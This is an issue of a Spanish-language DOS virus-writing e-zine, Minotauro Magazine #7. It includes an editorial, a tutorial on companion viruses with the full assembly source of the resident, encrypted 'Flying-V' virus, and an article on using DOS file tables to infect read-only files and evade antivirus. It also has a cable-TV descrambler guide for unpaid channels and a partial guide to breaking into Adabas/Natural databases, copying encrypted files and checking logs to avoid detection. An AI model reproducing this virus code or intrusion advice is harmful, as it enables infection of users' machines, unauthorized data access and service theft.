Minotauro Magazine Issue #7: A Word from the Editors: Hi! esta vez podemos decir que no volvimos, sino que resucitamos ;) Se atraso bastante la salida de este numero, por razones de fuerza mayor, en otras palabras, demasiado tiempo larbeando sin hacer absolutamente nada, justamente en los meses de enero, febrero ;) y bueh.. que se le va a hacer.. tambien somos humanos vio ? Volviendo al tema que nos incumbe en este momento (la programacion de virus, por si todavia no lo sabian ;)) tenemos el orgullo de anunciar la salida a la calle del Virus Oktubre. Por ahora no tenemos mas nada que decir al respecto mas que teniamos pensado sacarlo como virus ejemplo de la nota de SFT de Trurl, pero su autor, Bugs Bunny, se encario demasiado como para matarlo publicandolo, asi que por un par de numeros, no hablaremos mas sobre el asunto. Mientras tanto les damos la segunda y ultima parte de la Mutator 1.0 para que terminen de redondear sus ideas con respecto al polimorfismo y les queriamos dar un ejemplo de lo que NO hay que hacer, como el virus USA de Anubis, que ya pasa al otro extremo, un poco de vagueza se puede llegar a tolerar, pero para un tipo que contesta: "yo jamas dejo un fuente de un virus mio" y hace algo tan terrible como esto, me hace pensar que no lo deja por vergenza, jajaja. No es por nada Anubis, pero bueno, es TU posicion y TU virus.. que queres. Pero muy bien digo 'queriamos' ya que el source se encuentra en el disco de Trurl cagandose de risa porque se le cago la maquina :-) y bueh, esas cosas pasan, sino preguntenles a los de hbo. El resto de los articulos, estan tambien en el indice y no necesitan mas explicacion que las que ya poseen, asi que no les adelanto mas nada. Cambiando un poco de tema, conseguimos una edicion de la minotauro en ingles dando vueltas por europa, y no fuimos nosotros justamente los que la traducimos, asi que le agradecemos a Anathema por haberse tomado el trabajo de traducirlas y redistribuirlas para el publico no-castellano (ya que tocamos este tema, les pregunto si realmente es tan jodido el slang o lunfardo argentino, ya que Anathema se queja de que no lo entiende ;), pero bueno). Tambien le mandamos un caluroso saludo a Nekromancer, quien ha colaborado con nosotros desde siempre y obviamente a todos ustedes por el apoyo que nos brindan constantemente, asi que ya saben que son bienvenidos a cualquier bbs de la red. Qu red. Muchos de ustedes ya sabran que hace un par de meses que funciona [dan]net gracias a la garra de Wma por habernos hinchado las pelotas todos los dias tratando de que configuremos todo lo antes posible. Asi que tambien se agradece ese esfuerzo infrahumano ;) Dionysios I Hub (+54-1-253-4389), Digital Brain (+54-1-862-0644), Raw Power (+54-1-238-2144), LSD BBS (+54-1-641-8668), OVNI BBS (+54-1-622-4344), Black Future (+54-1-631-6245), Clown(+54-1-799-0277), Twilight Zone (+54-1-768-8639), Dr. Jekill (+54-1-302-7403), The Best Trojan (+54-1-778-0562). Puede ser que al dia de la fecha alguno de estos no exista mas, como el caso de Dionysios 2, o que halla alguno que no figure en la presente lista ya que fue sacada de un nodelist de por ahi... asi que, fuck off. Indice: Editorial ..................................................... 000 Virus Companion ............................................... 001 Job File Table (JFT) System File Table (SFT) .................. 002 Decoder para PLAYMOUSE/VENUS .................................. 003 Adabas/Natural ................................................ 004 Mutator 1.0 Segunda parte ..................................... 005 Master Boot Record (MBR) ...................................... 006 Drako, tgc [DAN] ^^^ I'm Sorry Trurl, i couldn't help it ;) Minotauro Magazine #7: Virus Companion Por WMA Bueno, en este artculo vamos a discutir una clase de virus llamados virus companion. Esta clase de virus existe gracias a una cualidad del DOS, que es que si existen dos archivos con igual nombre pero uno con extensin .COM y otro con extensin .EXE el archivo .COM ser ejecutado primero. Esta clase de virus gralmente. es no residente, y lo que hace es buscar por archivos .EXE y crear una copia del virus pero con el nombre del .EXE y oculto (atributo hidden); as el usuario al ejecutar el .EXE en realidad estar ejecutando el virus, el cual luego de hacer sus cosas ejecutar al archivo .EXE correspondiente (con la funcin 4B00h, int 21h). Como vern el concepto es muy sencillo, cualquiera puede hacer esta clase de virus, porq' en realidad no es ni un virus propiamente dicho, por esta razn hasta hay peleas por la nomenclatura con las que se lo nombra.. ;) Lo bueno de esta clase de virii, es que pueden infectar o acompaar a un anti-virus, cosa q' los virus comunes no pueden, ya que los virus companion no tocan al host, y el programa anti-virus no se entera de la presencia de su compaerito ;), mientras q' un virus comun tendra que modificar al archivo del anti-virus y este al auto-chequearse al ser ejecutado dara cuenta de la infeccin. Debido a lo anteriormente citado tambien son inmunes a los chequeadores de integridad, ya que son un file mas. Por la misma razn precinden de tecnicas de stealth de directorio. Tambien al no necesitar delta offsets ni nada por el estilo, ya q' el virus se copia completo a otro archivo, empezando en el mismo offset se esquiban algunos flags que hacen saltar a los anti-virus. Combinar un virus companion con uno parasitario sera una buena idea. Lo bsico que hay que saber para crear esta clase de 'virus' es saber lo q' necesita la funcin 4b00h de la int 21h para funcionar correctamente y unas cositas del PSP: La funcion para ejecutar un file requiere de estos parametros... AX = 4B00h DS:DX = Nombre del file a ejecutar (ASCIIZ) ES:BX = Bloque de parametros La funcin 4Bh tambien permite cargar un archivo sin ejecutarlo etc. por medio de diferentes valores en AL (4B03h, 4B01h) pero eso no entra en la idea de este artculo. Veamos, en DS:DX va el nombre del file a ejecutar, que no tiene ningn mis- -terio, y mirando el virus ejemplo que les dejo se darn cuenta. Lo nico que cabe remarcar, es que como el virus ejemplo que les dejamos es residen- -te el buffer para guardar el filename no es de 13 bytes (filename+0), sino de 128 bytes(127 del file+0). Esto es as porque al ejecutarse en file el DOS le pasa a la funcin 4B00h el Full Path Name (x ej: C:\DOS\DEBUG.EXE) y entonces si se esta ejecutando un file que est en el path, y nosotros solo consideramos el nombre del file en s, sin el path, al crear el .COM companion, lo crearemos en el path actual errneamente y no en donde corresponde. Los 127 bytes es porque la linea de comandos del DOS tiene como mximo ese valor. Luego ES:BX apunta a una tabla que debe tener la siguiente forma: dw xxx (segmento de entorno (enviroment) dw 80h (offset del command line) dw xxx (segmento) dw 5CH (FCB nmero 1) dw xxx (segmento) dw 6Ch (FCB nmero 2) dw xxx (segmento) los valores marcados con 'xxx' son los que tendremos que establecer nosotros, en nuestro virus, lo demas son fijos y los pondremos al crear esta estructura que tenemos que agregar en nuestro virus. El primer 'xxx' es el ENVIROMENT SEGMENT, o segmento de entorno, este es el segmento en el que estan ubicados todos los 'SET' ;) que ponen uds. como x ej. SET TZ=BUE3, ademas del nombre del file que esta siendo ejecutado, o PARENT, ademas de otras cosas que son indocumentadas y no las se ;). Para obtener este valor simplemente tenemos que leerlo del offset 2Ch del PSP, como nuestro virus es un COM el segmento del PSP es el de CS=DS=ES=SS asi que simplemente: mov ax,word ptr cs:[2Ch] ; en AX el seg de entorno y luego ponemos el valor de AX en el lugar adecuado de nuestra tabla. Luego viene el offset:segmento de la linea de comandos, que como todos saben (saben?) esta en el offset 80h del PSP, lo unico que tenemos que hacer es poner el segmento del PSP, de nuevo, como estamos en un COM le pa- -samos el valor de CS. Por si no lo saben la linea de comandos son todos esos switches tipo /NOMEM etc. que le ponen a un programa al ejecutarlo. Se hace esto porque el usuario al querer ejecutar su EXE estar ejecutando nuestro virus .COM y si el programa requiere de parametros, los perderamos y el programa no fun- -cionara como debe, pero asi al ejecutarse el virus el cmdline queda en en el offset 80h, llenamos con estos datos la tabla y al ejecutar el EXE le llegarn los switches correctamente. Por ltimo, porque se me est haciendo muy largo, la funcin 4B00h necesita 2 FCB's, estos dos FCB's estan en los offsets 5Ch y 6Ch del PSP, lo nico que tiene que hacer el virus es poner los segmentos del PSP, o sea CS y listo!. Agg, termin!,. si! ;), es medio tedioso todo esto, pero al fin, una vez hecho todo esto tienen que liberar la memoria que no usan para que el file a ejecutarse tenga lugar en donde hacerlo y punto, asi: mov ah,4ah ; modifico bloque de memoria alocado mov bx,paraf ; paragrafos que ocupa el virus int 21h ; (1 paragrafo son 16 bytes) Listo!, ahora ejecutan la funcion 4B00h como se debe, y se acab. Lo ltimo a tener es cuenta es que la funcin 4b00h, nos devuelve el con- -trol a nosotros despus de ejecutar el file, si es que este termina con la funcin 4Ch de la int 21h (cosa que la mayora de los programas hacen , mas si son .EXE's :)), asi que luego de la ejecucin del HOST conviene poner un RET para terminar el virus sin errores. En este artculo les dejo el source del virus Flying-V, q' es un virus residente, encriptado, y por supuesto companion. ;). Realmente el virus es MUY sencillo, asi q' creo q' la explicacin anterior alcanza y sobra para entenderlo, ademas el source est correctamente comentado. El virus esta hecho para el A86, asi q' ensamblenlo con este. ;) ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- ; Virus Flying-V por WM [DAN] (c) 1994, Repblica Argentina ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ; (c) Digital Anarchy Viral development ; Especialmente hecho para MinoTauro Magazine Issue #5 <- jajaja 5=7 ;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ; Tamao: 633 bytes ; Residente ; Hookea int 21h (infecta al ejecutarse) ; Virus Companion (a .EXE's ;)) ; Encriptado ; Stealth de Memoria ; Los .COM creados tienen atributo Hidden y Read Only, as si un archivo ; ya tiene su compaero .COM con un simple JC me doy cuenta y no pierdo ; tiempo en crear nuevamente el .COM ID equ 0ffeeh ; ID del virus en memoria flyingv: cmp b[key],0 ; si es la primera ejecu- je crypted ; cin no desencripto nada. jmp skip key db 0 ; key de encripcin. skip: mov al,key ; Key de encripcin. lea bx,crypted ; Codigo a desencriptar. mov dx,cryp_size ; Longitud del codigo a xchg cx,dx ; desencriptar. Anti-Fprot decrypt: xor cs:[bx],al ; desencripto. inc bx ; paso al proximo byte. loop decrypt crypted: mov cx,ID ; Me fijo si estoy residen. mov ax,cx ; Anti-tbav, flag U int 21h cmp bx,ID ; ya estoy en memoria, je exec_exe ; ejecutamos el .EXE mov ax,3521h ; pedimos vector int 21h int 21h mov word ptr cs:old21,bx ; guardamos el vector mov word ptr cs:old21+2,es push cs pop es mov di,es ; stealth de memoria dec di ; no me pidan q' mov es,di ; lo comento de nuevo mov bx,es:[3h] ; por favor.. ;) sub bx,virpara1 inc di mov es,di mov ah,4ah int 21h mov bx,virpara mov ah,48h int 21h dec ax mov es,ax mov byte ptr es:[1h],8 sub ax,0fh ; Copiamos el virus mov es,ax ; a memoria. mov si,100h mov di,si mov cx,virlen rep movsb push es pop ds mov ax,2421h ; instalamos nuestro inc ah ; handler int 21h lea dx,Newi21 ; anti-tbav, flag M int 21h exec_exe: push cs,cs pop ds,es mov ax,cs:w[2Ch] ; guardo el segmento mov cs:[Seg_del_PSP],ax ; del PSP mov cs:[Seg_CmdLine],cs ; guardo segmentos mov cs:[Seg_FCB1],cs ; de los demas mov cs:[Seg_FCB2],cs ; pointers. mov ah,4ah ; liberamos memoria mov bx,virpara+1 ; no usada. int 21h mov ax,4b00h ; ejecutamos el file. mov dx,offset exe_name ; file a ejecutar mov bx,offset Seg_del_PSP ; Bloque de Parametros int 21h ; Listo! ret ;-- Data ------------------------------------------------------------------ Seg_del_PSP dw 0 ; segmento del PSP Command_line dw 80h ; offset del CmdLine (Default) Seg_CmdLine dw 0 ; segmento _File1 dw 005Ch ; offset del FCB #1 (Default) Seg_FCB1 dw 0 ; segmento _File2 dw 006Ch ; offset del FCB #2 (Default) Seg_FCB2 dw 0 ; segmento Exe_name db 'EXE .EXE',0,114 dup (0h) ; file a ejecutar open_name db 'EXE .COM',0,114 dup (0h) ; buffer virname db 'Flying-V y WM [DAN]' ; yo ;D ;-------------------------------------------------------------------------- ;-- Handler int 21h ------------------------------------------------------- Newi21: cmp ax,ID ; verificacin de jne try ; residencia. mov bx,ID iret try: cmp ax,4b00h ; vamos a crear un je kick_ass ; compaero.. ;) jump: db 0eah ; Saltamos a la int 21h old21 dd ? g2: jmp done kick_ass: push ax,bx,cx,dx,si,di,ds,es ; guardamos registros mov si,dx ; encontramos la search: lodsb ; extensin del file. cmp al,0 je g2 cmp al,'.' jne search cmp word ptr ds:[si],'XE' ; verificamos si es un jne done ; .EXE, si no es nos cmp byte ptr ds:[si+2],'E' ; vamos. jne done push cs pop es xor cx,cx ; copiamos el nombre lea di,exe_name ; del file a nuestro mov si,dx ; buffer para despues save_name: lodsb ; ejecutarlo. cmp al,0 je mute_2_com stosb inc cx jmp save_name mute_2_com: stosb ; lo copiamos tambien inc cx ; al segundo buffer para lea di,open_name ; crear el .COM con mov si,dx ; el mismo nombre. rep movsb push cs ; buscamos la extensin del pop ds ; file para cambiarsela lea si,open_name ; a .COM y crear el .COM find_ext: lodsb cmp al,'.' jne find_ext mov word ptr ds:[si],'OC' ; le ponemos la mov byte ptr ds:[si+2],'M' ; extension .COM fin: mov ah,3Ch ; creamos el mov cx,23h ; .COM lea dx,open_name int 21h ; si ya existe el .COM jc done xchg bx,ax ; handle en bx mov ax,8d00h ; copiamos el mov es,ax ; virus a una mov di,100h ; zona no usada de mov si,di ; memoria para mov cx,virlen ; encriptarlo. rep movsb again: in al,40h ; tomamos un valor cmp al,0 ; aleatorio. si es 0 je again ; buscamos otro. mov es:key,al ; encriptamos la lea di,crypted ; parte del virus mov cx,cryp_size ; q' hay q' encriptar crypt: xor es:[di],al ; en el buffer en inc di ; memoria loop crypt push es pop ds lea dx,flyingv ; escribimos el virus mov cx,virlen ; encriptado. mov ah,3fh ; anti-tbav, flag F inc ah int 21h mov ah,3eh ; cerramos el file int 21h done: pop es,ds,di,si,dx,cx,bx,ax ; restauramos registros jmp jump ; saltamos a la int 21h cryp_size equ $ - offset crypted virlen equ $ - offset flyingv virpara equ (virlen+15)/16 virpara1 equ virpara+1 Que lo disfruten! ;). bye!.. WM [DAN] Minotauro Magazine #7: System File Tables y Job File Tables Por Trurl La SFT (Sistem File Table) es una estructura indocumentada que el DOS utiliza para hacer todo el manejo de files (ya sea por handles o por FCB), y la JFT (Job File Table, o tambin File Handle Table) es otra estructura del DOS, utilizada para asociar handles y SFTs. En este articulo les voy a explicar el Donde, Como, Cuando y Porque de las SFT y JFT, para que ustedes puedan divertirse con ellas en sus virus. JFT - JOB FILE TABLES (O FILE HANDLE TABLES) La Job File Table, o File Handle Table, se encuentra la mayora de las veces en el offset 18h del PSP. (quiz en sus tablas lo encuentren como una zona indocumentada). En el offset 34h esta el llamado "Handle Table Address" que no es mas que un puntero far a la JFT. Y en el offset 32h van a encontrar un word, llamado "Handle Count" que es el mximo posible de entradas dentro de la JFT. (20 por defecto, pero puede variar). El Handle Table Address y el Handle Count no son de demasiada impor- tancia. Estn para que uno pueda, si quiere, cambiar la JFT de lugar, y agregarle mas handles (mas de los que el sistema en principio podra aguantar: esto no quiere decir que uno puede abrir mas files que los del FILES= del CONFIG, sino que puede abrirlos mas VECES. El FILES= determina el nmero mximo de SFTs del sistema, que no varia). A partir de DOS 3.3 no es necesario siquiera hacerlo a mano, pues existe una funcin especifica para cambiar la JFT de lugar (AH=67h/INT 21h). Ahora bien, la JFT es una tabla de (por default) 20 bytes. Cada byte, es una entrada. Un "handle" comn y corriente, de un file abierto, sirve como ndice en esta tabla. Y de ella extraemos un nmero, que no es mas que un ndice dentro de las System File Tables del DOS, para encontrar la SFT de nuestro file. (llamado a veces "System File Number", SFN). Veamos un ejemplo. Yo abro dos veces el file "ABRIME.TXT", obteniendo 2 handles: 0005, y 0006. Luego abro un segundo file "ABRIME2.TXT", y obtengo un handle 0007. Luego me fijo en el PSP: PSP:34 -> nos da un address, que es por lo general PSP:18 offset handle contenido descripcin PSP:18 0000 <01 STDIN PSP:19 0001 <01 STDOUT PSP:1A 0002 <01 STDERR PSP:1B 0003 <00 AUX I/O PSP:1C 0004 <02 LSTOUT PSP:1D 0005 <03 FILE "ABRIME.TXT", primer handle PSP:1E 0006 <03 FILE "ABRIME.TXT", segundo handle PSP:1F 0007 <04 FILE "ABRIME2.TXT", primer handle PSP:20 0008 FF handle invalido PSP:.. .... FF ... PSP:2C 0014 FF handle invalido SFTs >0 AUX >1 CON >2 PRN >3 ABRIME.TXT >4 ABRIME2.TXT Como vemos, STDIN, STDOUT, Y STDERR estn los tres direccionados hacia la misma SFT, que es la 1, y corresponde al device CON. A su vez, el handle 3 (AUX I/O) esta direccionado al device AUX, y el LSTOUT, al device PRN. Y LOS DOS HANDLES que el DOS me dio por las dos veces que abr ABRIME.TXT estn direccionados a la misma SFT: la 3, mientras que la 4 corresponde al file ABRIME.TXT. Adems, esto nos permite entender que es lo que pasa cuando hacemos una redireccin en lnea de comandos: si yo pongo PROGRAMA >SALIDA.TXT, en el offset 1 de la JFT en vez de haber un 1, habr algn otro nmero, lo cual significa que STDOUT estar redireccionado a alguna SFT correspondiente al file SALIDA.TXT, en lugar de estar direccionado a CON. En definitiva la JFT no tiene ningn uso por si misma: sirve para encontrar la SFT de un file :-). SFT - SYSTEM FILE TABLES El DOS mantiene todos los datos relevantes al manejo de files y devices en estas dos tablas. La primera es para device drivers y files abiertos va handle, y la segunda para FCB. Las tablas no tienen diferen- cias entre si, excepto en un par de detalles. La increble variedad y abundancia de datos de todos tipo que hay en este tabla hace que en realidad tenga un amplio espectro de aplicacin, que se la pueda usar para infinidad de cosas. El nico aspecto negativo es que es indocumentada, y por lo tanto no se sabe que pasara con ella en el futuro. La direccin de las dos listas de tablas (la de handle y la de FCB) se encuentra en la list of lists, en los offset 4 y 22h respectivamente. SFT - FORMATO (Sacado de la NG de Ralph Brown obviamente) Format of DOS 4.0-6.0 system file tables and FCB tables Offset Size Description 00h DWORD pointer to next file table (offset FFFFh if last) 04h WORD number of files in this table 06h 3Bh bytes per file Offset Size Description 00h WORD number of file handles referring to this file FFFF if in use but not referenced 02h WORD file open mode (see AH=3Dh) bit 15 set if this file opened va FCB 04h BYTE file attribute (see AX=4301h) 05h WORD device info word (see also AX=4400) bit 15 set if remote file bit 14 set means do not set file time/date on closing bit 13 set if named pipe bit 12 set if no inherit bit 11 set if network spooler bit 7 set if device, clear if file (only if local) bits 6-0 as for AX=4400h 07h DWORD pointer to device driver header if character device else pointer to DOS Drive Parameter Block (see AH=32h) or REDIR data 0Bh WORD starting cluster of file (local files only) 0Dh WORD file time in packed format (see AX=5700h) 0Fh WORD file date in packed format (see AX=5700h) 11h DWORD file size 15h DWORD current offset in file (SFT) LRU counters (FCB tables, two WORDs) ---local file--- 19h WORD relative cluster within file of last cluster accesed 1Bh DWORD number of sector containing directory entry 1Fh BYTE number of dir entry within sector (byte offset/32) ---network redirector--- 19h DWORD pointer to REDIRIFS record 1Dh 3 BYTEs ??? ------ 20h 11 BYTEs filename in FCB format (no path/period, blank-padded) 2Bh DWORD (SHARE.EXE) pointer to previous SFT sharing same file 2Fh WORD (SHARE.EXE) network machine number wich opened file (Windows Enhanced mode DOSMGR uses the virtual machine ID as the machine number, see INT 2F/AX=1683h) 31h WORD PSP segment of file's owner (see AH=26) (first three entries for AUX/CON/PRN contain segment of IO.SYS startup code) 33h WORD offset within SHARE.EXE segment of sharing record (see above) 0000h = none 35h WORD (local) absolute cluster number of last clustr accessed (redirector) ??? 37h DWORD pointer to IFS driver for file, 0000000h if native DOS Note: the OS/2 2.0 DOS Boot Session does not properly fill in the filename field due to incomplete support for SFTs; the OS/2 2.0 DOS Window does not appear to support SFTs at all SFT - ENCONTRANDOLAS Hay una sola forma de encontrar la SFT de un file: Primero conseguir el SFN y luego usarlo dentro de las SFT del DOS para encontrar la que queremos. Esto a su vez puede hacerse de dos maneras. La primera es a mano: Obteniendo el segmento del PSP (mediante AH=62/INT 21, o directamente en DS, depende), y dentro de l buscar la JFT y de ah sacar el SFN del file. Luego conseguir la direccin de las SFT (mediante la "List of Lists", AH=52/INT 21) e ir recorrindolas hasta llegar al nmero de tabla deseado. Las SFT estn organizadas en bloques: cada bloque puede contener varias tablas y puede haber varios bloques. El puntero presente en la "List of Lists" nos lleva al primer bloque. Cada bloque tiene un header de 6 bytes, donde los 4 primeros son un puntero far al siguiente bloque (siendo -1 el offset en el caso de que sea el ltimo), y la ultima word contiene el nmero de tablas en el bloque. Ver el siguien- te cdigo: findsft: ; encontrando la SFT de un handle "a mano" ; entrada: bx=handle ; salida: carry=1, invalid handle, si carry=0, ES:BX->SFT mov di, bx mov ah, 62h int 21h mov es, bx les bx, es:[34h] mov al, es:[bx+di] cbw cmp ax, -1 jz invalidhandle push ax mov ah, 52h int 21h pop ax cwd les bx, es:[bx+4] ; handle SFT goon: add dx, word ptr es:[bx+4] cmp dx, ax jng nextblock sub dx, word ptr es:[bx+4] sub ax, dx mov cx, ax add bx, 6 jcxz noloop addit: add bx, 3bh loop addit noloop: clc ret ; es:bx -> SFT nextblock: les bx, es:[bx] jmp goon invalidhandle: stc ret La otra forma es la fcil: usando funciones no documentadas que hagan todo por nosotros. La funcin AX=1220 de INT 2F retorna, a partir de un handle dado, el address absoluto de la entrada de la JFT particular para ese handle. A partir de ah, con una instruccin, obtenemos el SFN. Luego hay otra funcin, AX=1216h tambin de INT 2F, que retorna el address de la SFT para un SFN particular. Todo hecho. Ver el siguiente cdigo: findsft: ; finding it the easy way ; bx=handle mov ax, 1220h ; obtenemos la entrada particular dentro de int 2fh ; la JFT para el file en ES:BX xor bx, bx mov bl, es:[bx] ; cargamos en BX el SFN mov ax, 1216h ; obtenemos el address de la SFT del file int 2fh ; ES:DI->SFT La desventaja de buscar la SFT a mano es que es mucho cdigo en comparacin al otro. En cambio, lo malo de la INT 2F es que es indocumenta- da, y no muy confiable (es que el cdigo ha sido usado tanto que, por ejemplo, el TBAV 6.24 detectaba el cdigo mas arriba de INT 2F como el Darth Vader. Osea, el cdigo mas arriba constitua la STRING DEL DARTH VADER para el TBAV 6.24. En el 6.30 me consta que lo han solucionado, pero personalmente me da mala espina :-)). Por otro lado, en todo otro aspecto las dos vas son totalmente similares. Queda en cada uno usar la que mas le convenga. SFT - USOS Como se puede ver en la tabla, hay tantos datos distintos que la SFT puede ser til para muchas cosas. Por ejemplo, un uso practico de todos los das en virus, puede ser la cuestin de infectar Read Only o evitar la modificacin de la fecha de un file al infectar. En lugar de usar AH=57 y AH=43, puede abrirse el file solo para lectura, y luego cambiarse el modo de apertura en la SFT a r/w (con esto se puede infectar Read Only sin cambiarle los atributos, con la ventaja de que algunos AV residentes no se mosquean si uno abre un ejecutable solo para lectura), y luego cambiar el bit 14 del word en el offset 5, haciendo que no se actualice la fecha/hora del file. Otros usos mucho mas complicados e interesantes son posibles. Por ejemplo, el amigo Bugs Bunny en su virus mas reciente, el Oktubre, que incluiramos en este nmero, utiliza la SFT para hacer un stealth del tipo disinfect-on-the-fly. Lo que hace Bugs es abrir el file cuando se lo piden, pero restarle el largo del virus al size reportado en la SFT: de esta forma, la ultima parte del file (que contiene al virus) no existe para el sistema; no se la puede acceder. Eso, y una sencilla intercepcin para evitar que lean el principio del file (donde hay un JMP o un Header modificado), y hacer que lean en su lugar lo que originalmente all haba, hace que efectivamente, el virus sea full stealth. Y ahora, a mirar la tabla y usar la imaginacin! Trurl, tgc [DAN] Nota: Quisiera agradecer a Fernando Bonsembiante por la amable nota de mi virus EMMA aparecida en un reciente nmero de su revista Virus Report. Procuraremos seguir publicando virus experimentales para seguir dndote material para un par de notas mas, y para que nos sigas promocionando y haciendo famosos, cosa que nos merecemos, por cierto. :-). (sarcasm is my middle name) ------------------------------------------------------------------------------- Nota2: La nota 1 fue escrita antes de que se oficialize la muerte de VR, que por cierto lamentamos profundamente (?) ;) ahora fuera de joda, una cagada que no salga mas, pero bueno, no todo se puede en la vida: ser amigo de Fabian Garcia y robar con la VR, que mas podias pedir ? :-)Minotauro Magazine #7: PLAYMOUSE/VENUS Decoder Plans Hi. Bueno sin entrar en detalles pasamos a exponer un simple decodificar de PLAYMOUSE o como se llame. Esto es asi pues si usted paga por 65 canales, porque no verlos todos. Se basa en que debemos tener una fuente de video compuesto y de audio. Dicho de otra manera una video con salida de audio y video por ejemplo. Tambien debemos poseer un televisor que acepte video y audio externo. La informacion de video se encuentra a felicidad nuestra sin ningun tipo de codificacion. De esta manera el AUDIO OUT de la video se conecta al AUDIO IN del TV. Para el video debemos recurrir a utilizar el circuito descripto en el file DECODER.GIF. La funcion de este circuito es basicamente la de invertir la seal de video. Esto es asi para lograr el pulso de sincronismo horizontal correcto. Esto no es lo correcto por lo cual el circuito funciona en escala de 1 a 10, 7 puntos. Pero aseguro que se ve, y muy bien por los 10 pesos que sale armarlo y la hora de tiempo empleada. Bueno una vez armado con POT2 ajustamos el nivel de senal adecuado y con POT1 el nivel adecuado de continua de la seal invertida. Para los que no esten en tema solo ajusten a prueba y error con lo cual obtendran el mejor ajuste por experimentacion. Tranquilos que no se quema nada. El funcionamiento es sencillo con la video sintonizan (en mi cable canal 35 y 33) el televisor lo ponen en modo video y listo. Aclaracion: en el circuito la pata 2 de u1 es la pata 1, pero el orcad lo tira como pata 2 ... PD: Como ya les hemos dicho, estas notas maduraron dentro del disco de drako ;) Ahora los de Cable Vision (c) hinchan un poco mas las pelotas, porque cada 3 minutos aproximandamente, invierten solo la imagen, quedando la mitad del tiempo la imagen en negativo.. No es gran problema.. el gran problema esta vez es el tiempo.. Si nos poniamos a hacer la boludez esta, se iba a retrasar mas todavia este numero, asi que mandamos el circuito como lo teniamos.. les prometemos el decoder full para el proximo numero, o el proximo-proximo, etc :) Minotauro Magazine #7: Hacking Adabas/Natural por Mantis King A medida que "trabajaba" sobre el sistema y consegua informacin tcnica iba escribiendo toda esta informacin en los bordes de hojas diario, papeles de chocolate, borradores diversos, etc. y as fue como la guard en mi prolijo archivo :). Ahora que la estoy pasando en limpio muchas veces no me entiendo la letra, y me cuesta un poco relacionar los distintos papelitos asi que sorry si este texto tiene algunos errores. Y si no te gusta es muy sencillo vieja, pasas de largo y seguis leyendo Minotauro OK ? % Adabas % Toda la info. que vas a encontrar se refiere a la versin 5.2.5. Si pensas hackear un ambiente Adabas, podes encontrar 15 niveles distintos de seguridad. El nivel de seguridad lo elige el administrador del sistema cuando instala el software. Estos niveles de seguridad (entre 0 y 14) estn asociados con el password de cada usuario. Cada password puede tener diferentes niveles para lectura y para escritura. Si conseguiste un password y queres ver los derechos que tiene este password tipe: ADASCR PFILES PW = password De la misma forma, tambin los archivos o campos de un archivo pueden tener diferentes niveles de acceso, en un rango desde 0 (sin seguridad) hasta 14 (la seguridad ms alta). Si quers encontrar donde estn los archivos sensitivos, esos que realmente te gustara ver que guardan informacin confidencial, lo que tendras que hacer es identificar los que tienen la seguridad mas alta. Para ver los niveles de proteccin de los archivos de la base de datos podes usar el comando: ADASCR PFILES Look at this ! En Adabas podes visualizar todos los passwords, lo nico que tenes que hacer es usar este comando: ADASCR PPW CODE = dbacode Eeeh ! Te la creiste eh ???. No es tan facil, dbacode es un cdigo que el software le da al administrador de la base cuando instala el Adabas. Si conseguis uno vas a poder hacer cosas ms que interesantes. Si quers cambiar algo en los datos almacenados en la base de datos te comento lo siguiente. Primero que nada, los verdaderos hackers solo curiosean la informacin de los sistemas, no la cambian...pero, es tu desicin. Segundo, puede ser que el DBA (administrador de la base de datos) haya establecido controles restringidos a valores. Esto quiere decir que el sistema chequea uno o mas campos de un registro para establecer si tens acceso para leer o escribir el registro. Si no tens el nivel de acceso necesario para ese file tu accin se va a registrar en el botonazo log. Al da siguiente el DBA revisa el log y quedas pegado hasta las manos. Entonces, si quers ver el criterio de seguridad por valor de tu password podes usar el comando: ADASCR PPW CODE = dbacode, PW = password Como ya te habras dado cuenta (eso espero) pods combinar este comando con el anterior para elegir un password con el nivel suficiente como para modificar los archivos que quieras toquetear. Si tue idea no es modificar archivos, sino solamente espiar un poco los archivos ms interesantes, tenes que tener claro que es muy probable que los mas copados estn encriptados. En Adabas es muy fcil encriptar archivos usando el parmetro ADAWAN y un cdigo de 8 caractres en el utilitario Compression. Tambin si andas con ganas de hacer guachadas le podes encriptar algunos archivos al pobre man, pero no seas tan turro che !! Si los archivos estn encriptados, te recomiento que te copies los archivos y los labures en tu casa. No es recomendable tratar de adivinar el cdigo directamente sobre la mquina hackeada, acordate de los logs, cada error que cometas se va a registrar en el log. En cambio, con los files en tu casa podes probar cientos de veces sin peligro. Hay muchos textos y utilitarios que te pueden ayudar a adivinar el cdigo de 8 caracteres que necesitas para desencriptar el archivo. % Natural % Si quers chequear las opciones generales presiona "D" en el Men Principal, as vas a llegar a los "Security Administrator Services". En esta pantalla, y presionando "D" llegas a "Modify General Options" que te muestra las opciones generales de seguridad. Podes chequear la estructura de seguridad (grupos y miembros) presionando "D" e ingresando luego la identificacin de usuario en el "User Maintenance Menu". As vas a poder ver todos los grupos a los que pertenece este usuario, adems de mas informacin sobre cada grupo. Si quers ver la seguridad de cada aplicacin tens que presionar "D" y la identificacin de aplicacin en el "Application Maintenance Menu". Si quers ver un nmero ms grande de definiciones de seguridad de aplicaciones podes usar la funcin "MASS FUNCTION", que te va a mostrar una lista de todas las aplicaciones que fueron definidas en la seguridad del Natural por orden alfabtico por identificacin de aplicacin. Para usar esta posibilidad, lo nico que tens que hacer es presionar "Q" en el "Application Maintenance Menu". Esto es muy importante, porque en Natural la seguridad de los datos est asociada con la seguridad de las aplicaciones que acceden a esos archivos. Si usas la opcin "Select File" (presionando "S") en el "File Maintenance Menu" vas a ver el estado de cada archivo. Sin dudas los archivos "PRIV" van a ser los ms interesantes, pero tambin deberas pegarle un vistazo a los "PUBL", porque en un ambiente mal controlado pods encontrar informacin confidencial tambin en este tipo de archivo. Todas las posibilidades que expliqu antes las podes usar (aunque de solo lectura) usando "Retrieval" en el Menu Principal. Atencin, si corres una aplicacin que tenga la opcin "LOG" en "Y", la seguridad del Natural va a escribir un registro en archivo de log. Yo te recomendara pegarle un vistazo a los registros de log para chequear si tus actividades fueron registradas. Podes verlos usando la funcin "Logon Records Processing". En el Menu Principal tenes que presionar "D" 